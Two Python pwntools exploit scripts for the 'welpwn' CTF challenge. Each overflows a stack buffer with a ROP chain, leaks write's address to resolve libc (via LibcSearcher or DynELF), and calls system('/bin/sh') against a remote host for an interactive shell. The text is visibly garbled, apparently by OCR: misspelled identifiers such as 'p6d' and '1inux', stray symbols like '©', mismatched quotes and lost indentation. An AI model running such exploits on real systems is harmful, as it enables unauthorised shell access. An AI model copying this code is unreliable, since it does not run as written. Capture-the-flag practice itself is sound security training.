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# -*- coding: utf-8 -*-

# @Author: X T HEE

# @Date: 2020-03-16 10:13:17

# @email: sxin@867@qq.com

# @Last Modified by: Administrator

# @Last Modified time: 2020-03-16 16:53:40

from pwn import *
from LibcSearcher import *

context(arch="amd64" ,0s="1inux",log_level="debug")

#p = process("./welpwn")
p = remote("111.198.29.45",32966)
elf = ELF("./welpwn")

write_got = elf.got[ 'write']

puts_plt = elf.plt| 'puts']

start = elf.symbols[' start']

pop_4 = 0x40089C

pop_rdi = ©x4008a3

payload = 0x18 * b'a' + p64(pop_4) + p64(pop_rdi) + p6d(write_got) + p64(puts_plt) + p6d(start)
#rdi, rsi, rdx,rcx,r8,r9

p.recvuntil('Welcome to RCTF\n')
p.sendline(payload)

p.recvuntil("\x40")

write_addr = u64(p.recv(6).1ljust(8,b"\x00"))
p.recv()

obj = LibcSearcher("write",write_addr)
#add_condition(leaked_func, leaked_address)
libc_base = write_addr - obj.dump("write")
system_addr = libc_base + obj.dump("system")
str_bin_sh = libc_base + obj.dump("str bin_sh")

log.info("write _addr = " + hex(write_addr))
log.info("system addr = " + hex(system_addr))
log.info("str_bin_sh = " + hex(str_bin_sh))

payload = 0x18 * b'a' + p64(pop_4) + p6d(pop_rdi) + p64(str_bin_sh) + p64(system_addr) + p64(start)
p.sendline(payload)

p.interactive()

p.close()
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# -*- coding: utf-8 -*-

# @Author: X T #fE

# @Date: 2020-03-16 11:16:55

# @email: sxin@867@qq.com

# @Last Modified by: Administrator

# @Last Modified time: 2020-03-16 16:40:18

from pwn import *
context(arch="amd64" ,0s="1inux")
context.log_level="debug"
p = remote("111.198.29.45",32966)
elf = ELF('./welpwn')
write_got = elf.got[ 'write']
read_got = elf.got['read']
start = elf.symbols[' start']
gadget_0 = 0x40089a
gadget_1 = 0x400880
pop_4 = 0x40089C
pop_rdi = 0x4008a3
bss = elf.bss()
flag = ©
def leak(address):
global flag
#rdi,rsi, rdx,rcx,r8,r9
payload = 0x18 * b'a’' + p64(pop_4) + p64(gadget_0) + p64(0)
payload += p64(1l) + p64(write_got) + p64(8) + p64(address) + p64(1)
payload += p64(gadget_1) + 56 * b'c' + p64(start)
p.recvuntil('Welcome to RCTF\n')
p.send(payload.ljust(0x400,'a"))
if flag:
p.recvuntil('\x40")
data = p.recv(8)
log.info("recv: " + str(data))
flag += 1
return data

d = DynELF(leak,start,elf=ELF("./welpwn"))
sys_addr = d.lookup("system","libc")
log.info("system_addr => %#x", sys_addr)

p.recvuntil('Welcome to RCTF\n')

payload = 0x18 * b'a’' + p64(pop_4) + p64(gadget_0) + p64(0)

payload += p64(1) + p64(read_got) + p64(8) + p64(bss) + p64(0)

payload += p64(gadget_1) + 56 * b'c' + p64(pop_rdi) + p64(bss) + p64(sys_addr)

p.send(payload.ljust(ox400, 'a"))
p.recvuntil('\x40")
p.send("/bin/sh\xee")

p.interactive()
p.close()
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